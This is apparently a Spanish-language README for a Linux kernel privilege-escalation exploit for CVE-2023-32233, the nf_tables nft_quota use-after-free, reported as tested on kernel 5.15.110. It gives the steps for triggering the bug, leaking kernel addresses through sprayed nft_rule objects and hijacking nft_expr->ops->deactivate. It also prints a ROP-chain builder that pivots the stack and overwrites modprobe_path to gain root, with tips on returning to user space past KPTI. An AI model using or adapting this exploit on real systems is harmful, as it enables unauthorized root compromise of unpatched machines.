
Exploit de escalación de privilegios del kernel de Linux para CVE-2023-32233 utilizando nft_quota UAF, ROP chain y sobrescritura de modprobe_path para obtener root en kernels <5.16.
Debido a que en las versiones de kernel anteriores (<5.16) falta el parche, no es posible usar el campo consumed de la estructura nft_quota para escribir/dirigir direcciones de memoria de lectura/escritura, por lo que se considera usar el método ROP para escalar privilegios. El exp de Google utiliza el método NFT_MSG_DELRULE+NFT_MSG_DELSET para desencadenar el UAF, pero en las pruebas reales se encontró que el script crashea directamente en nf_table_commit->list_del_rcu.
Este exp ha sido probado en la versión v5.15.110
Combinando los dos exp, se hace un spray de las estructuras nft_rule, se filtra la dirección de la pila del kernel a través de list_head, se filtra la dirección del kernel a través de nft_expr->ops, y se secuestra el flujo de control a través de nft_expr->ops->deactivate.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
Para facilitar el escalado de privilegios, se utiliza directamente el método basado en modprobe_path del exp1, y el ROP se construye de la siguiente manera.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
Primero, el kernel ejecuta en data[5], donde rax contiene la dirección del inicio del bloque (&data[0]). Se utiliza push rax; pop rsp; ret; para completar la migración de la pila, lo que inevitablemente daña la pila (no se puede retornar normalmente al espacio de usuario. Si se necesita escalar privilegios al espacio de usuario, se puede construir un bloque más grande (>0x80) consultando make_payload_rop2 en el exp, usando swapgs_restore_regs_and_return_to_usermode para omitir kpti y retornar al espacio de usuario).
Dado que la nft_rule falsificada tiene 0x18 bytes de metadatos (principalmente los 8 bytes en el desplazamiento 0x10), es necesario usar pop para saltar estas direcciones. Luego se puede improvisar libremente, usando algunos gadgets cortos para modificar modprobe_path.